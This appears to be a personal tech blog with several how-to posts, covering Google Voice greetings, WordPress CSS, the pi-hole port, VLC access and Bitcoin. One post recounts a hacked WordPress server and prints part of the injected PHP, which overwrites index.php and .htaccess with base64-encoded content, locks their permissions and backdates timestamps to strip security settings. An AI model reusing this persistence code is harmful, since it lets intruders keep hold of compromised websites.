Google Voice custom voicemail greetings based on caller

This guide is to assist in configuring the legacy, per caller or group, custom voicemail greeting feature found in Google Voice. While Google limits custom voicemail greetings to 10, you can assign a greeting to one or many Google contacts.

Custom Voicemail greetings are routed to the intended caller or group of callers based on labels assigned in your Google Contacts. If you want a specific caller to get their own custom voicemail greeting then you would apply a custom label, ex. their name, mother, father, friend, etc, to just their contact record. For a group you would assign the label to multiple contacts.

While you can configure “some” of this guide using your android phone or tablet, certain configuration features are only possible via a browser.

Links you’ll need:

  • Google Contacts:
    • You’ll manage your google contacts labels here.  Later you’ll be able to assign custom voicemail greetings you’ve recorded to these labels.
  • Google Voice Settings:
    • You’ll record and manage your custom voicemail greetings here.
  • Google Voice Legacy groups:
    • You’ll assign the custom greetings you’ve recorded to the contact label (called a group in the legacy Google Voice interface) thereby enabling a custom greeting for that contact or group of contacts.  You’ll also be able to enable or disable call screening for specific contacts or groups.


Google Contacts Labels

Google Contacts labels

Step 1:

Visit: The first step in configuring the custom greetings is to make sure you have a label assigned to anyone you want to receive a custom greeting. To create a custom label scroll to the bottom of your labels list on the left and click “Create label”.  You can also edit, and delete unwanted labels here using the controls that pop up when you highlight a label.

google contacts create label

Create as many labels as you’ll need to route the various custom voicemail greetings.

Once you’ve completed adding labels to your satisfaction, click the three little dots to the right of a contact record.  This drops down settings for that contact. Click beside each label you want assigned to the contact.


Google Contacts label management

Repeat this for all contacts you want to assign a custom message.

Step 2:

Visit your Google Voice Voicemail Settings:  Or at the top right of google voice, click Settings settings gear.

google Voice Voicemail settings

Record up to 10 custom voicemail greetings (not shown).  When you click to save a newly recorded greeting it will allow you to name it. Keep the titles relatively short. Also Keep in mind each time you record a greeting, google voice is making it the default greeting for all callers. When you’ve finished recording your greetings, click “Manage all greetings” to set the correct default greeting.  Click the three little dots besides the  default greeting of your choice and click “Set as active”

google voice manage all greetings

Step 3:

Visit Legacy Google Voice Settings > Groups: On the left you’ll see a corresponding group for each contact label you created earlier. Click edit beside the group/label you want to assign a custom voicemail greeting to.

legacy google voice group settings

Select the correct custom voicemail greeting from the drop down (Play button does not work in legacy google voice).  This will now override the system default greeting with the one you’ve selected. To manage this contact’s greeting from now on you will have to do it from Legacy Google Voice > settings > groups.

Select if you want to disable Google Voice call screening for this specific group or caller and click Save. Anyone with this label will now hear your selected custom voicemail greeting

legacy google voice group editor

Remove WordPress page title header using custom CSS

If you’ve ever needed to remove the title header from a specific WordPress page you can do it using custom CSS. No additional plugins required.  Copy and past the code below updating “.page-id-###” to reflect the ID# of your post or page.

/* Enter your remark here about why you’ve added this custom CSS */
.page-id-### .page-header {
display: none;

pi-hole: change default web admin port

If you run another web server on your raspberry pi such as nginx etc you will need to change the default port “80” for your pi-hole’s web admin.

Begin by making a backup of the pi-hole lighttpd config

sudo cp /etc/lighttpd/lighttpd.conf /etc/lighttpd/lighttpd.conf.backup

Next replace the default port 80 with a port of your choice (example below uses port 8093).

sudo sed -ie ‘s/= 80/= 8093/g’ /etc/lighttpd/lighttpd.conf

Finally restart the lighttpd daemon.

sudo /etc/init.d/lighttpd restart

Connect to the pi-hole’s web admin in your browser using your newly updated port.



hacked WordPress is overwriting .htaccess

After years of quiet, faithful service my trusty little server was molested by the darkside.  A key part of my re-securing strategy involved making sure my .htaccess file was up to snuff.  I would attempt to save my newly edited .htaccess file and the editor would tell me the file had already “changed”. WTF?

If I stopped the apache2 service.. or firewalled 80 I was able to save the file,  close it.. open it.. etc and the changes stayed.. the second I unblocked 80, my .htaccess file reset itself to the basic WordPress .htaccess config.

I’d missed a compromised PHP script somewhere in the WP file system.  The uninvited code was was modifying the .htaccess file (set at 0444) to disable all the security features but leave WordPress in working condition.

“You fool! You failed to realize that, with your .htaccess is compromised, my script will tear through yours like tissue paper.”

Diff command to the rescue! In a directory above WordPress, I created a temp directory, used wget to get the latest version of WordPress then “diff” command to hunt down the rogue script. (Note: this script was written for Ubuntu.)

sudo mkdir .tmp
cd .tmp
sudo wget // –no-check-certificate
sudo tar -xzvf latest.tar.gz

sudo diff -qr /var/www/webz/.tmp/wordpress /var/www/webz/wordpress |grep differ

You clever girl:

Files /var/www/webz/.tmp/wordpress/wp-includes/nav-menu.php and /var/www/webz/wordpress/wp-includes/nav-menu.php differ

Every time someone browsed my site,  it fired off a compromised version of nav-menu.php and the injected code lobotomized index.php and .htaccess. Weeeee! 🙁  If you’re curious like I was,  copy the base64 code to and decode it to plain ascii.


function my_correct($dir) {
$time = 0;
$path = $dir . ‘/index.php’;
$content = base64_decode(‘PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==’);
if (file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
$time = my_time($dir);
touch($path, $time);


$path = $dir . ‘/.htaccess’;
$content = base64_decode(‘IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==‘);
if (file_exists($path) AND file_get_contents($path) != $content) {
chmod($path, 0644);
file_put_contents($path, $content);
chmod($path, 0444);
if (!$time) {
$time = my_time($dir);
touch($path, $time);

So no.. you’re not crazy.

Getting stated with Bitcoin

coinbase[1]The easiest service I’ve found to Buy, Store and spend bitcoins is  Basically you link your checking to your coinbase account.  Once Linked you can begin buying bitcoins in amounts that suit your needs.

403 forbidden VLC 2.0.3 raspbian

I’m enabling the VLC web interface on a Raspberry Pi 2 to interface with my Smartthings home automation system.  The project is called VLC Thing and it turns a Raspberry Pi 2 running VLC into an event sound renderer.  Once you get VLC installed on your Raspberry Pi 2 using:

Sudo apt-get update
sudo apt-get install vlc

You enable the web interface by following instructions here.  At this point however VLC only allows localhost to connect (for security reasons).  To enable access to the VLC web interface from other computers, smart phones etc on your local lan, you have to edit the .hosts file that was installed with VLC.  Open a terminal instance in Raspbian and enter:

gksu leafpad /etc/vlc/lua/http/.hosts

You should see something similar to:

# Access-list for VLC HTTP interface
# $Id$

# localhost

# link-local addresses

# private addresses

# The world (uncommenting these 2 lines is not quite safe)

In most cases removing the “#” before the entry will enable access on your local LAN.